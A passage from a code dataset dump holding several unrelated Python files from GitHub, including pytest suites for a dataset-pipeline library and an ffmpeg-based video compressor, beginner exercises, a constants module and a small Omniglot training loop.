plain_samples_sequence_generator):\n\n sizes = [32, 10, 128, 16, 1]\n\n for N in sizes:\n dataset = plain_samples_sequence_generator(\"d0_\", N)\n\n op = OperationIdentity()\n _plug_test(op)\n\n out = op(dataset)\n\n assert out == dataset\n\n\nclass TestOperationShuffle(object):\n def _sign(self, dataset: SamplesSequence):\n names = [x[\"idx\"] for x in dataset.samples]\n return hashlib.md5(bytes(\"_\".join(names), encoding=\"utf-8\")).hexdigest()\n\n def test_shuffle(self, plain_samples_sequence_generator):\n\n sizes = [100, 10, 128, 20]\n\n for N in sizes:\n dataset = plain_samples_sequence_generator(\"d0_\", N)\n\n sign = self._sign(dataset)\n\n op = OperationShuffle(seed=10)\n _plug_test(op)\n\n out = op(dataset)\n out_sign = self._sign(out)\n\n assert (\n sign != out_sign\n ), \"for a series of unfortunate events did the two hashes collide?\"\n\n rich.print(sign, \"!=\", out_sign)\n\n assert len(dataset) == len(out)\n\n\nclass TestOperationResetIndices(object):\n def test_reset(self, plain_samples_sequence_generator):\n\n generators = [IdGeneratorUUID(), IdGeneratorInteger()]\n N = 32\n for generator in generators:\n dataset = plain_samples_sequence_generator(\"d0_\", N)\n dataset_clone = plain_samples_sequence_generator(\"d0_\", N)\n\n # Generate common uuid for samples ensuring they are the same\n for sample_index, _ in enumerate(dataset):\n common_id = str(uuid.uuid1())\n dataset[sample_index].id = common_id\n dataset_clone[sample_index].id = common_id\n\n op = OperationResetIndices(generator=generator)\n _plug_test(op)\n out = op(dataset)\n\n for idx in range(len(dataset)):\n assert dataset[idx].id != dataset_clone[idx].id\n\n assert len(dataset) == len(out)\n\n\nclass TestOperationOrderBy(object):\n def _sign(self, dataset: SamplesSequence):\n names = [x[\"idx\"] for x in dataset.samples]\n return hashlib.md5(bytes(\"_\".join(names), encoding=\"utf-8\")).hexdigest()\n\n def test_orderby(self, plain_samples_sequence_generator):\n\n N = 32\n dataset = plain_samples_sequence_generator(\"d0_\", N)\n\n order_items = [\n {\"keys\": [\"reverse_number\"], \"different\": True},\n {\"keys\": [\"+reverse_number\"], \"different\": True},\n {\"keys\": [\"-reverse_number\"], \"different\": False},\n {\n \"keys\": [\"-reverse_number\", \"metadata.deep.groupby_field\"],\n \"different\": False,\n },\n {\n \"keys\": [\"metadata.deep.groupby_field\", \"-reverse_number\"],\n \"different\": False,\n },\n {\n \"keys\": [\"metadata.deep.groupby_field\", \"reverse_number\"],\n \"different\": True,\n },\n {\"keys\": [\"-metadata.deep.groupby_field\"], \"different\": True},\n ]\n\n for order_item in order_items:\n order_keys = order_item[\"keys\"]\n should_be_different = order_item[\"different\"]\n\n op = OperationOrderBy(order_keys=order_keys)\n _plug_test(op)\n out = op(dataset)\n\n if should_be_different:\n assert self._sign(out) != self._sign(dataset)\n else:\n assert self._sign(out) == self._sign(dataset)\n\n # for idx in range(len(dataset)):\n # print(\"Sample\", idx)\n # print(pydash.get(dataset[idx], 'metadata.deep.groupby_field'), dataset[idx]['reverse_number'])\n # print(pydash.get(out[idx], 'metadata.deep.groupby_field'), out[idx]['reverse_number'])\n # if should_be_different:\n # assert dataset[idx].id != out[idx].id\n # else:\n # assert dataset[idx].id == out[idx].id\n\n assert len(dataset) == len(out)\n\n\nclass TestOperationSplits(object):\n def test_splits(self, plain_samples_sequence_generator):\n\n N = 128\n splits_cfgs = [\n {\"split_map\": {\"train\": 0.5, \"test\": 0.2, \"val\": 0.3}, \"good\": True},\n {\"split_map\": {\"a\": 0.4, \"b\": 0.2, \"c\": 0.2, \"d\": 0.2}, \"good\": True},\n {\"split_map\": {\"a\": 0.8, \"b\": 0.0}, \"good\": True},\n {\"split_map\": {\"a\": 1.0}, \"good\": True},\n {\"split_map\": {\"a\": 0.7}, \"good\": True},\n {\"split_map\": {\"a\": 1.7}, \"good\": False},\n {\"split_map\": {}, \"good\": False},\n ]\n\n for cfg in splits_cfgs:\n\n good = cfg[\"good\"]\n split_map = cfg[\"split_map\"]\n expected_splits = len(split_map)\n dataset = plain_samples_sequence_generator(\"d0_\", N)\n\n if good:\n op = OperationSplits(split_map=split_map)\n _plug_test(op)\n out_dict = op(dataset)\n assert expected_splits == len(out_dict)\n assert len(set(out_dict.keys()).difference(set(split_map.keys()))) == 0\n\n sumup = 0\n for k, d in out_dict.items():\n sumup += len(d)\n print(\"XX\", len(d))\n\n print(\"SUMP\", split_map.keys(), sumup, N)\n assert sumup == N\n\n idx_maps: Dict[str, set] = {}\n for k, d in out_dict.items():\n idxs = set([x[\"idx\"] for x in d])\n idx_maps[k] = idxs\n\n for k0, _ in idx_maps.items():\n for k1, _ in idx_maps.items():\n if k0 != k1:\n intersection = idx_maps[k0].intersection(idx_maps[k1])\n assert len(intersection) == 0\n else:\n with pytest.raises(Exception):\n op = OperationSplits(split_map=split_map)\n _plug_test(op)\n out_dict = op(dataset)\n\n\nclass TestOperationDict2List(object):\n def test_shuffle(self, plain_samples_sequence_generator):\n\n pairs = [\n (10, 5),\n (10, 1),\n (1, 1),\n (1, 10),\n (1, 0),\n ]\n\n for N, D in pairs:\n datasets = []\n datasets_map = {}\n for idx in range(D):\n d = plain_samples_sequence_generator(\"d{idx}_\", N)\n datasets.append(d)\n datasets_map[str(idx)] = d\n\n op = OperationDict2List()\n _plug_test(op)\n\n if D > 0:\n out = op(datasets_map)\n\n assert isinstance(out, list)\n else:\n with pytest.raises(Exception):\n out = op(datasets_map)\n\n\nclass TestOperationFilterByQuery(object):\n def test_filter_by_query(self, plain_samples_sequence_generator):\n\n N = 128\n dataset = plain_samples_sequence_generator(\"d0_\", N)\n\n queries_items = [\n {\"query\": '`metadata.name` CONTAINS \"d0_\"', \"expected\": N},\n {\n \"query\": '`metadata.name` CONTAINS \"@IMPOSSIBLE@!S_TRING12\"',\n \"expected\": 0,\n },\n {\"query\": f\"`metadata.N` < {N/2}\", \"expected\": N / 2},\n {\"query\": '`metadata.name` like \"d?_*\"', \"expected\": N},\n ]\n\n for item in queries_items:\n query = item[\"query\"]\n expected = item[\"expected\"]\n op = OperationFilterByQuery(query=query, num_workers=-1)\n _plug_test(op)\n\n out = op(dataset)\n\n assert len(out) == expected\n\n\nclass TestOperationSplitByQuery(object):\n def test_split_by_query(self, plain_samples_sequence_generator):\n\n N = 128\n dataset = plain_samples_sequence_generator(\"d0_\", N)\n\n queries_items = [\n {\"query\": '`metadata.name` CONTAINS \"d0_\"', \"expected\": [N, 0]},\n {\n \"query\": '`metadata.name` CONTAINS \"@IMPOSSIBLE@!S_TRING12\"',\n \"expected\": [0, N],\n },\n {\"query\": f\"`metadata.N` < {N/2}\", \"expected\": [N / 2, N / 2]},\n {\"query\": '`metadata.name` like \"d?_*\"', \"expected\": [N, 0]},\n ]\n\n for item in queries_items:\n query = item[\"query\"]\n expecteds = item[\"expected\"]\n op = OperationSplitByQuery(query=query)\n _plug_test(op)\n\n out = op(dataset)\n\n assert isinstance(out, Sequence)\n for idx in range(len(out)):\n assert len(out[idx]) == expecteds[idx]\n\n sumup = functools.reduce(lambda a, b: len(a) + len(b), out)\n sumup_exp = functools.reduce(lambda a, b: a + b, expecteds)\n\n assert sumup == sumup_exp\n\n\nclass TestOperationSplitByValue:\n def test_split_by_value(self, plain_samples_sequence_generator):\n N = 20\n G = 5\n key = \"metadata.deep.groupby_field\"\n dataset = plain_samples_sequence_generator(\"d0_\", N, group_each=G)\n op = OperationSplitByValue(key)\n _plug_test(op)\n out = op(dataset)\n\n assert len(out) == N // G\n total = 0\n for split in out:\n total += len(split)\n target = pydash.get(split[0], key)\n for sample in split:\n assert pydash.get(sample, key) == target\n assert total == len(dataset)\n\n\nclass TestOperationFilterKeys(object):\n def test_filter_keys(self, plain_samples_sequence_generator):\n\n N = 128\n dataset = plain_samples_sequence_generator(\"d0_\", N)\n\n keys_to_filter = [\n {\"keys\": [\"idx\"], \"negate\": False},\n {\"keys\": [\"idx\"], \"negate\": True},\n {\"keys\": [\"number\", \"data0\"], \"negate\": False},\n {\"keys\": [\"number\", \"data0\"], \"negate\": True},\n {\"keys\": [], \"negate\": False},\n ]\n\n for item in keys_to_filter:\n keys = item[\"keys\"]\n negate = item[\"negate\"]\n op = OperationFilterKeys(keys=keys, negate=negate, num_workers=-1)\n _plug_test(op)\n out = op(dataset)\n\n assert len(out) == len(dataset)\n\n for sample in out:\n for key in keys:\n if not negate:\n assert key in sample\n else:\n assert key not in sample\n\n\nclass TestOperationGroupBy(object):\n def test_group_by(self, plain_samples_sequence_generator):\n\n N = 128\n dataset = plain_samples_sequence_generator(\"d0_\", N, heavy_data=False)\n\n fields_items = [\n {\"field\": \"`metadata.deep.groupby_field`\", \"valid\": True},\n {\"field\": \"`metadata.even`\", \"valid\": True},\n {\"field\": \"`odd`\", \"valid\": True},\n {\"field\": \"`z`\", \"valid\": False},\n ]\n\n for item in fields_items:\n field = item[\"field\"]\n valid = item[\"valid\"]\n\n for ungrouped in [True, False]:\n op = OperationGroupBy(field=field, ungrouped=ungrouped)\n _plug_test(op)\n\n out = op(dataset)\n if valid:\n assert len(out) < len(dataset)\n\n counters = {}\n for sample in out:\n for k, v in sample.items():\n rich.print(k, v)\n for key in sample.keys():\n if not isinstance(sample[key], dict):\n if key not in counters:\n counters[key] = 0\n counters[key] += len(sample[key])\n\n for k, c in counters.items():\n print(k, c)\n assert c == N\n else:\n if ungrouped:\n assert len(out) == 1\n else:\n assert len(out) == 0\n\n\nclass TestOperationFilterByScript(object):\n def test_filter_by_script(self, plain_samples_sequence_generator, tmpdir):\n\n N = 128\n dataset = plain_samples_sequence_generator(\"d0_\", N)\n\n # Bad filename\n with pytest.raises(Exception):\n op = OperationFilterByScript(path=\"/tmp/script_IMPOSSIBLE_NAME@@!!\")\n\n func = \"\"\n func += \"import numpy as np\\n\"\n func += \"def check_sample(sample, sequence):\\n\"\n func += \" return np.array(sample['number']) % 2 == 0\\n\"\n\n script_path = tmpdir.join(\"custom_script.py\")\n with open(script_path, \"w\") as f:\n f.write(func)\n\n op = OperationFilterByScript(path_or_func=str(script_path))\n _plug_test(op)\n out = op(dataset)\n\n assert len(out) < len(dataset)\n\n def test_filter_by_script_onthefly(self, plain_samples_sequence_generator, tmpdir):\n\n N = 128\n dataset = plain_samples_sequence_generator(\"d0_\", N)\n\n def check_sample_onthefly(sample, sequence):\n import numpy as np\n\n return np.array(sample[\"number\"]) % 2 == 0\n\n op = OperationFilterByScript(path_or_func=check_sample_onthefly)\n _plug_test(op)\n out = op(dataset)\n\n assert len(out) < len(dataset)\n\n\nclass TestMappableOperation(object):\n class CountCallback:\n def __init__(self):\n self.counter = 0\n\n def __call__(self, data: dict) -> None:\n self.counter += 1\n\n class OperationPlusOne(MappableOperation):\n def __init__(self, key: str, **kwargs) -> None:\n super().__init__(**kwargs)\n self._key = key\n\n def apply_to_sample(self, sample: Sample) -> Optional[Sample]:\n sample = sample.copy()\n sample[self._key] += 1\n return sample\n\n class OperationLessThan10(MappableOperation):\n def __init__(self, key: str, **kwargs) -> None:\n super().__init__(**kwargs)\n self._key = key\n\n def apply_to_sample(self, sample: Sample) -> Optional[Sample]:\n cond = sample[self._key] < 10\n return sample if cond else None\n\n @pytest.mark.parametrize(\n (\"pb\", \"workers\"), ((False, 0), (True, 0), (False, 5), (True, 5), (True, -1))\n )\n def test_mappable_operation(self, plain_samples_sequence_generator, pb, workers):\n N = 32\n key = \"number\"\n\n dataset = plain_samples_sequence_generator(\"d0_\", N)\n callback = self.CountCallback()\n op = self.OperationPlusOne(\n key, progress_bar=pb, num_workers=workers, progress_callback=callback\n )\n\n out = op(dataset)\n _plug_test(op, check_serialization=False)\n\n # Check callback was called the right number of times\n assert callback.counter == len(dataset)\n\n expected_numbers = [x[key] + 1 for x in dataset]\n out_numbers = [x[key] for x in out]\n\n assert isinstance(out, SamplesSequence)\n assert N == len(out)\n for x, y in zip(expected_numbers, out_numbers):\n assert x == y, (expected_numbers, out_numbers)\n\n callback = self.CountCallback()\n op = self.OperationLessThan10(key, progress_callback=callback)\n out = op(dataset)\n\n assert len(out) == 10\n assert callback.counter == len(dataset)\n\n\nclass TestOperationStage(object):\n @pytest.mark.parametrize(\n (\"pb\", \"workers\"), ((False, 0), (True, 0), (False, 5), (True, 5), (True, -1))\n )\n def test_operation_stage(self, plain_samples_sequence_generator, pb, workers):\n N = 32\n key = \"number\"\n key_2 = \"number_2\"\n\n dataset = plain_samples_sequence_generator(\"d0_\", N)\n stage = StageRemap({key: key_2})\n op = OperationStage(stage, progress_bar=pb, num_workers=workers)\n _plug_test(op, check_serialization=True)\n out = op(dataset)\n\n assert isinstance(out, SamplesSequence)\n assert N == len(out)\n for x in out:\n assert key_2 in x\n assert key not in x\n\n\nclass TestOperationRemapKeys(object):\n def test_operation_stage(self, plain_samples_sequence_generator):\n N = 32\n key = \"number\"\n key_2 = \"number_2\"\n\n dataset = plain_samples_sequence_generator(\"d0_\", N)\n\n for remove_missing in [True, False]:\n op = OperationRemapKeys(remap={key: key_2}, remove_missing=remove_missing)\n _plug_test(op, check_serialization=False)\n out = op(dataset)\n\n assert isinstance(out, SamplesSequence)\n assert N == len(out)\n for x in out:\n assert key_2 in x\n assert key not in x\n if remove_missing:\n assert len(x.keys()) == 1\n else:\n assert len(x.keys()) > 1\n\n\nclass TestOperationFlatten:\n def test_operation_flatten(self, plain_samples_sequence_generator):\n N = 10\n key = \"metadata.list\"\n dest_key = key\n sample_idx_key = \"metadata.flatten.sample_idx\"\n list_idx_key = \"metadata.flatten.list_idx\"\n\n dataset = plain_samples_sequence_generator(\"d0_\", N)\n\n op = OperationFlatten(\n key,\n dest_key=dest_key,\n sample_idx_key=sample_idx_key,\n list_idx_key=list_idx_key,\n )\n _plug_test(op)\n out = op(dataset)\n\n assert op.input_port().is_valid_data(dataset)\n assert op.output_port().is_valid_data(out)\n\n expected_sample_idx = []\n expected_list_idx = []\n expected_flattened = []\n for i, x in enumerate(dataset):\n to_flatten = pydash.get(x, key)\n expected_sample_idx.extend([i] * len(to_flatten))\n expected_list_idx.extend(list(range(len(to_flatten))))\n expected_flattened.extend(to_flatten)\n\n assert len(out) == len(expected_sample_idx)\n\n k = count()\n for i, x in enumerate(out):\n if sample_idx_key is not None:\n assert pydash.get(x, sample_idx_key) == expected_sample_idx[i]\n\n if list_idx_key is not None:\n assert pydash.get(x, list_idx_key) == expected_list_idx[i]\n\n for k in set(x.keys()).difference([\"metadata\"]):\n eq = x[k] == dataset[expected_sample_idx[i]][k]\n if isinstance(eq, np.ndarray):\n eq = eq.all()\n assert eq\n\n assert pydash.get(x, key) == expected_flattened[i]\n\n def test_operation_flatten_warning(self):\n with pytest.warns(UserWarning):\n OperationFlatten(\"my.key\", \"destkey\")\n\n\nclass TestOperationRemoveDuplicates:\n def test_operation_remove_duplicates(self, plain_samples_sequence_generator):\n N = 20\n\n dataset = plain_samples_sequence_generator(\"d0_\", N)\n\n for k in dataset[0].keys():\n op = OperationRemoveDuplicates([k])\n _plug_test(op)\n out = op(dataset)\n\n assert op.input_port().is_valid_data(dataset)\n assert op.output_port().is_valid_data(out)\n assert len(out) <= len(dataset)\n\n duplicated_dataset = OperationSum()([dataset, dataset])\n out_duplicated = op(duplicated_dataset)\n\n assert len(out_duplicated) == len(out)\n","repo_name":"eyecan-ai/pipelime","sub_path":"tests/pipelime/sequences/test_operations.py","file_name":"test_operations.py","file_ext":"py","file_size_in_byte":25172,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"71"} +{"seq_id":"1286835936","text":"# Créez un programme qui met en majuscule une lettre sur deux d’une chaîne de caractères.\n# Seule les lettres (A-Z, a-z) sont prises en compte.\n\n# ATTENTION : Afficher error et quitter le programme en cas de problèmes d’arguments.\n\n\n# Exemples d’utilisation :\n# $> python exo.py “Hello world !”\n# HeLlO wOrLd !\n#\n#\n# $> python exo.py 42\n# error\n\n\n\nimport sys\n\nif len(sys.argv) != 2 or sys.argv[1].isnumeric():\n print(\"error\")\n quit()\n\nfor i in range(len(sys.argv[1])):\n if i % 2 == 0:\n print(sys.argv[1][i].upper(), end=\"\")\n else:\n print(sys.argv[1][i], end=\"\")\n\nprint()\n","repo_name":"DIGIX666/Epreuve-eau","sub_path":"Exercies_Eau/eau06.py","file_name":"eau06.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"73948099749","text":"# For Loop\np = [1,2,3,4,5]\ns = 0\nfor i in p:\n s = s + i\nprint(\"Sum of elementL \", s)\n\nq = [\"Apple \", \"Banana \", \"Orange \", \"Pinaple\"]\nc = ''\nfor i in q:\n c = c + i\nprint(\"Concanate of fruit: \", c)\n\n","repo_name":"zamanwebdeveloper/OOP_in_Python","sub_path":"Python 3.8 Programming/For Loop1.py","file_name":"For Loop1.py","file_ext":"py","file_size_in_byte":204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"37406361709","text":"from imp import SEARCH_ERROR\n\n\nPOST = \"POST\"\nGET = \"GET\"\n\nID=\"id\"\nEMAIL = \"email\"\nPASSWORD = \"password\"\nNAME = \"name\"\nADDRESS = \"address\"\nCOUNTRY = \"country\"\nSTATE = \"state\"\nCITY = \"city\"\nDESCRIPTION = \"description\"\nMOBILE_NUMBER = \"mobile_number\"\nCATEGORY = \"category\"\nCATERING = \"catering\"\nMAX_CAPACITY = \"max_capacity\"\nNUMBER_OF_EVENT = \"number_of_events\"\nMEDIA = \"media\"\nUSERNAME=\"username\"\nROLE=\"role\"\nCURRENT_PASSWORD=\"currentpassword\"\nSTATUS_VALUE=\"status_val\"\nSTATUS=\"status\"\nCOMMENT_LIST=\"comment_list\"\nUSER_ID=\"userID\"\nLEAD_ID=\"leadID\"\nPASSWORD_CONFIRM=\"password_confirmation\"\nLEAD_STATUS = \"lead_status\"\nCOMMENT=\"comments\"\nLEAD_ASSIGN_ID=\"leadAssignedId\"\nVENDOR_ID=\"vendorID\"\nSTATUS_PENDING = \"Pending\"\nACCEPTED=\"Accepted\"\nREJECTED=\"Rejected\"\nQID=\"-id\"\n\nORDER_COL = \"-created_at\"\nPAGE_SIZE = 50\nFLASH_SUCCESS_MSG = \"flash_success_message\"\nFLASH_ERROR_MSG = \"flash_error_message\"\nUID = \"basemodel_ptr_id\"\n\nVENDOR = \"VENDOR\"\nACTIVE = \"ACTIVE\"\nDISABLE = \"DISABLE\"\nJSON=\"json\"\nFIELDS=\"fields\"\nSTATUS_LIST=\"STATUS_LIST\"\n\nDATE_OF_EVENT=\"date_of_event\"\nTIME_OF_EVENT=\"time_of_event\"\n\nLEAD_ASSIGN_TEMPLATE_NAME='Lead Assign'\nLEAD_DECISION_TEMPLATE_NAME='Lead Decision'\n\nDELETE_VAL='delete_val'\nDELETED_AT='deleted_at'\nNONE='None'\nSTART=\"start\"\nDATA=\"data\"\nPAGE=\"page\"\nPER_PAGE=\"per_page\"\nRECODES_TOTAL=\"recordsTotal\"\nRECODES_FILTERED=\"recordsFiltered\"\nSEARCH_VALUE=\"search[value]\"\nEMPTY_VALUE=''","repo_name":"hirenpatel1903/eventmangments","sub_path":"app/constants/RequestConstants.py","file_name":"RequestConstants.py","file_ext":"py","file_size_in_byte":1398,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"71"} +{"seq_id":"20691046123","text":"# -*- coding: utf-8 -*-\n\nimport pytest\nimport os\nimport shutil\n\nfrom video_compressor.exceptions import MissingLibraryError, InvalidVideoInput\nimport video_compressor as vp\n\n__author__ = \"Lenselle Nicolas\"\n__copyright__ = \"Lenselle Nicolas\"\n__license__ = \"mit\"\n\n# remove sound on video\n# check if video has sound or not\n\n\n@pytest.fixture(scope=\"function\")\ndef tempdir():\n return os.getcwd() + '/tmp/'\n\n\n@pytest.fixture(scope=\"function\")\ndef temp(tempdir):\n def path(filename=''):\n return tempdir + filename\n return path\n\n\n@pytest.fixture(scope=\"function\", autouse=True)\ndef beforeAll(tempdir):\n if os.path.exists(tempdir):\n shutil.rmtree(tempdir)\n os.mkdir(tempdir)\n yield\n shutil.rmtree(tempdir)\n\n\ndef VideoInfo(input, **options):\n return vp.VideoInfo(\n input,\n mp4info_bin='/Users/nicolaslenselle/Downloads/Bento4-SDK-1-6-0-637.universal-apple-macosx/bin/mp4info',\n **options\n )\n\ndef VideoCompressor(input, **options):\n return vp.VideoCompressor(\n input,\n mp4info_bin='/Users/nicolaslenselle/Downloads/Bento4-SDK-1-6-0-637.universal-apple-macosx/bin/mp4info',\n mp4fragment_bin='/Users/nicolaslenselle/Downloads/Bento4-SDK-1-6-0-637.universal-apple-macosx/bin/mp4fragment',\n **options\n )\n\ndef test_error_with_invalid_ffmpeg():\n VideoInfo('./tests/sample.mp4', ffprobe_bin='ffprobe')\n with pytest.raises(MissingLibraryError):\n VideoInfo('./tests/sample.mp4', ffprobe_bin='ffprobe-custom-bin')\n\n\ndef test_error_with_invalid_input():\n\n with pytest.raises(InvalidVideoInput):\n VideoInfo('./tests/corrupted-sample.mp4')\n\n with pytest.raises(InvalidVideoInput):\n VideoInfo('./tests/unexisting-sample.mp4')\n\n\ndef test_error_with_invalid_ouput():\n pass\n\n\ndef test_error_with_invalid_mute_value():\n pass\n\n\ndef test_error_with_invalid_scale_value():\n pass\n\n\ndef test_get_video_audio():\n assert VideoInfo('./tests/sample.mp4').volumedetect() is True\n assert VideoInfo('./tests/mute-sample.mp4').volumedetect() is False\n\n\ndef test_getVideoBitrate():\n assert VideoInfo('./tests/sample.mp4').getVideoBitrate() == 2200634\n\n\ndef test_getAudioBitrate():\n assert VideoInfo('./tests/sample.mp4').getAudioBitrate() == 133274\n\n\ndef test_get_video_resolution():\n video = VideoInfo('./tests/sample.mp4')\n w, h = video.getResolution()\n assert h == 540\n assert w == 960\n\n\ndef test_get_video_fps():\n video = VideoInfo('./tests/sample.mp4')\n fps = video.getFramePerSeconds()\n assert fps == 30\n\ndef test_get_video_duration_():\n video = VideoInfo('./tests/sample.mp4')\n d = video.getDurationInMicroseconds()\n assert d == 4_871_533\n\ndef test_get_video_duration_in_seconds():\n video = VideoInfo('./tests/sample.mp4')\n d = video.getDurationInSeconds()\n assert d == 5\n\ndef test_get_video_size():\n video = VideoInfo('./tests/sample.mp4')\n s = video.getSize()\n assert s == 1507453\n\ndef test_check_if_video_fragmentation(temp):\n video = VideoInfo('./tests/sample.mp4')\n fragmented = video.isFragmented()\n assert fragmented is False\n\ndef test_mute_a_video(temp):\n video = VideoCompressor(input='./tests/sample.mp4')\n\n sample_copy = temp(filename='sample-copy.mp4')\n sample_muted = temp(filename='sample-muted.mp4')\n\n video.export(sample_copy)\n video.mute(True).export(sample_muted)\n\n assert VideoInfo(sample_copy).volumedetect() is True\n assert VideoInfo(sample_muted).volumedetect() is False\n\n\ndef test_scale_video(temp):\n\n sample54x96 = temp(filename='sample-54x96.mp4')\n\n w, h = VideoInfo('./tests/sample.mp4').getResolution()\n assert w == 960\n assert h == 540\n\n video = VideoCompressor(input='./tests/sample.mp4')\n video.scale(96, 54).export(sample54x96)\n w, h = VideoInfo(sample54x96).getResolution()\n assert w == 96\n assert h == 54\n\ndef test_reduce_video_fps(temp):\n\n sample24fps = temp(filename='sample-24fps.mp4')\n video = VideoCompressor(input='./tests/sample.mp4')\n video.fps(24).export(sample24fps)\n\n fps = VideoInfo(sample24fps).getFramePerSeconds()\n assert fps == 24\n\n\ndef test_scale_video_keep_ratio(temp):\n\n sample640 = temp(filename='sample-54x96.mp4')\n\n w1, h1 = VideoInfo('./tests/sample.mp4').getResolution()\n\n video = VideoCompressor(input='./tests/sample.mp4')\n video.scale(640, -1).export(sample640)\n w2, h2 = VideoInfo(sample640).getResolution()\n assert w2 // h2 == w1 // h1\n\n\ndef test_reduce_video_bitrate(temp):\n\n sample1Mbs = temp(filename='sample-1mbs.mp4')\n video = VideoCompressor(input='./tests/sample.mp4')\n video.bitrate(1_000_000).export(sample1Mbs)\n\n assert VideoInfo(sample1Mbs).getVideoBitrate() < 1_000_000\n\n\ndef test_crop_video(temp):\n\n sampleCrop = temp(filename='sample-crop.mp4')\n video = VideoCompressor(input='./tests/sample.mp4')\n video.crop(origin=(10, 10), size=(100, 200)).export(sampleCrop)\n\n w, h = VideoInfo(sampleCrop).getResolution()\n assert w == 100\n assert h == 200\n\ndef test_combine_filter_crop_fps_bitrate(temp):\n\n Crop24fps1kBitrate = temp(filename='sample-crop-24ps-1kbitrate.mp4')\n video = VideoCompressor(input='./tests/sample.mp4')\n \n (video\n .crop(origin=(10, 10), size=(100, 200))\n .fps(24)\n .bitrate('2M')\n .mute(True)\n .export(Crop24fps1kBitrate)\n )\n\n info = VideoInfo(Crop24fps1kBitrate)\n w, h = video.info.getResolution()\n fps = video.info.getFramePerSeconds()\n \n assert list(info.getResolution()) == [100, 200]\n assert info.getFramePerSeconds() == 24\n assert info.getVideoBitrate() < 2_000_000\n\ndef test_combine_filter_scale_fps_bitrate_mute(temp):\n\n Crop24fps1kBitrate = temp(filename='sample-crop-24ps-1kbitrate.mp4')\n video = VideoCompressor(input='./tests/sample.mp4')\n \n (video\n .scale(640)\n .fps(24)\n .bitrate(1_000_000)\n .mute(True)\n .export(Crop24fps1kBitrate)\n )\n\n info = VideoInfo(Crop24fps1kBitrate)\n w, h = video.info.getResolution()\n fps = video.info.getFramePerSeconds()\n \n assert list(info.getResolution())[0] == 640\n assert info.getFramePerSeconds() == 24\n assert info.getVideoBitrate() < 1_000_000\n assert info.volumedetect() is False\n\n\ndef test_crop_video_checking_pixel(temp):\n # Test to compare pixel value from original video and crop video\n pass\n\n\ndef test_slice_video_by_1_seconds(temp):\n \n video = VideoCompressor(input='./tests/sample.mp4')\n\n slices = video.slice(temp('sample-slice.mp4'), stepInMilliseconds=1000)\n assert slices.getDurationInMicroseconds() == video.info.getDurationInMicroseconds()\n\n slices = video.slice(temp('sample-slice025.mp4'), stepInMilliseconds=2000)\n assert slices.getDurationInMicroseconds() == video.info.getDurationInMicroseconds()\n\ndef test_export_video_collection(temp):\n\n settings = [\n {'codec_preset': 'h264WebVBR', 'scale':[480, -1], 'bitrate': 200_000, 'fps': 24, 'suffix':'@sm'},\n {'codec_preset': 'h264WebVBR', 'scale':[480, -1], 'bitrate': 200_000, 'fps': 24, 'quality':'low', 'suffix':'@sm+low'},\n {'scale':[640, -1], 'bitrate': 1_000_000, 'fps': 24, 'suffix':'@md'},\n {'scale':[960, -1], 'bitrate': 2_000_000, 'fps': 24, 'suffix':'@lg'},\n {'scale':[1280, -1], 'bitrate': 3_000_000, 'fps': 24, 'suffix':'@xl'},\n ]\n\n video = VideoCompressor('./tests/sample.mp4')\n list(video.exportCollection(temp('sample.mp4'), settings))\n\n for setting in settings:\n suffix = setting['suffix']\n export = VideoInfo(temp(f'sample{suffix}.mp4'))\n assert list(export.getResolution())[0] == setting['scale'][0]\n assert export.getFramePerSeconds() == setting['fps']\n assert export.getVideoBitrate() < setting['bitrate']\n\n assert VideoInfo(temp(f'sample@sm+low.mp4')).getSize() < VideoInfo(temp(f'sample@sm.mp4')).getSize()\n\n\ndef test_hs264_webpreset(temp):\n\n h264WebPreset = temp('webh264.mp4')\n video = VideoCompressor('./tests/sample.mp4')\n video.bitrate('1M').codecPreset('h264WebVBR').export(h264WebPreset)\n\n assert VideoInfo(h264WebPreset).getSize() < video.info.getSize()\n\n\ndef test_export_video_with_height_not_divisable_by_two(temp):\n\n video = VideoCompressor(input='./tests/sample.mp4')\n\n w, h = video.info.getResolution()\n video.crop(origin=(0, 0), size=(w, h-1)).export(temp('video-crop.mp4'))\n\n videoCrop = VideoCompressor(input=temp('video-crop.mp4'))\n videoCrop.scale(480, -1).export(temp('video-crop2.mp4'))\n \n\ndef test_fragment_a_video(temp):\n\n video = VideoCompressor('./tests/sample.mp4')\n assert video.info.isFragmented() is False\n\n sample_fragmented = temp(filename='sample-fragment.mp4')\n\n video.fragment(sample_fragmented)\n assert VideoInfo(sample_fragmented).isFragmented() is True\n\n# targetSize=$(( 25 * 1000 * 1000 * 8 )) # 25MB in bits\n# length=`ffprobe -v error -show_entries format=duration -of default=noprint_wrappers=1:nokey=1 input.mp4`\n# length_round_up=$(( ${length%.*} + 1 ))\n# total_bitrate=$(( $targetSize / $length_round_up ))\n# audio_bitrate=$(( 128 * 1000 )) # 128k bit rate\n# video_bitrate=$(( $total_bitrate - $audio_bitrate ))\n# ffmpeg -i input.mp4 -b:v $video_bitrate -maxrate:v $video_bitrate\n# -bufsize:v $(( $targetSize / 20 )) -b:a $audio_bitrate output.mp4\n","repo_name":"ln-nicolas/video_compressor","sub_path":"tests/test_video.py","file_name":"test_video.py","file_ext":"py","file_size_in_byte":9300,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"73181891111","text":"import sys\nsys.path.append(\"..\")\n\nimport dataloader.omniglot as omn_loader\nfrom models.att import att_model\nimport torch\nimport torch.optim as optim\nimport torch.optim.lr_scheduler as lr_scheduler \nfrom tqdm import tqdm\n\n\ndef main(opt=None):\n data = omn_loader.load([\"train\"],opt)\n model = att_model(opt)\n model.train()\n if(opt['data.cuda']):\n model.cuda()\n \n optimizer = optim.Adam(model.parameters(),lr=0.0001)\n scheduler = lr_scheduler.StepLR(optimizer, step_size=100, gamma=0.1)\n best_acc = 0\n file_object = open('acc_log.txt', 'w')\n\n\n for epoch in range(opt['train.epoch_num']):\n scheduler.step()\n for idx,image in enumerate(tqdm(data[\"train\"])):\n loss,acc = model.forward(image)\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n if(acc>best_acc):\n best_acc = acc\n file_object.write(acc + '\\n')\n \n file_object.close()\n \n \n 